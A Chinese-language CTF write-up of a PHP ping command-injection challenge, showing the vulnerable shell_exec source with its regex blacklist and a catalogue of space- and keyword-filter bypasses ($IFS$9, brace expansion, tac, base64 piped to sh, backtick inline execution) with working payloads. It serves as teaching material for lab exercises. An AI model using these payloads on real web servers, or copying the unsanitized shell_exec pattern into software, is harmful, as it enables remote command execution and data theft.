PING命令执行漏洞-绕过空格
- 我们看到
/?ip=
可以试一下本地ip
看到这里我们就能知道命令执行方法大概就是加上管道符“|”或者“;”
-
我们列出目录下面的文件
/?ip=127.0.0.1;ls
我们发现有flag.php和index.php两个文件,尝试读取flag.php
发现空格被过滤了(fxck your space就是过滤空格的意思!)
这边介绍一下绕过空格的方法大概有以下几种
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
$IFS$9 (Ubuntu下测试通过)后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
ps:有时会禁用cat:
解决方法是使用tac反向输出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag
然后我们尝试用 ${IFS} 绕过空格,发现{}被ban
然后我们在尝试用 $IFS$1 绕过空格,发现flag被ban
接着我们尝试读取一下index.php的内容
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
过滤了很多标点,空格,bash,flag,那么网上搜索有这几种做法:
cat fl* 利用*匹配任意 不行
echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
ca\t fl\ag.php 不行
cat fl''ag.php 不行
解决方法:
方法一:用变量拼接:我们发现源码中有一个$a变量可以覆盖
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
方法二:过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
方法三:内联执行的做法
?ip=127.0.0.1;cat$IFS$9`ls`
内联,就是将反引号内命令的输出作为输入执行
参考连接:
https://www.jianshu.com/p/fd7f9fcc9333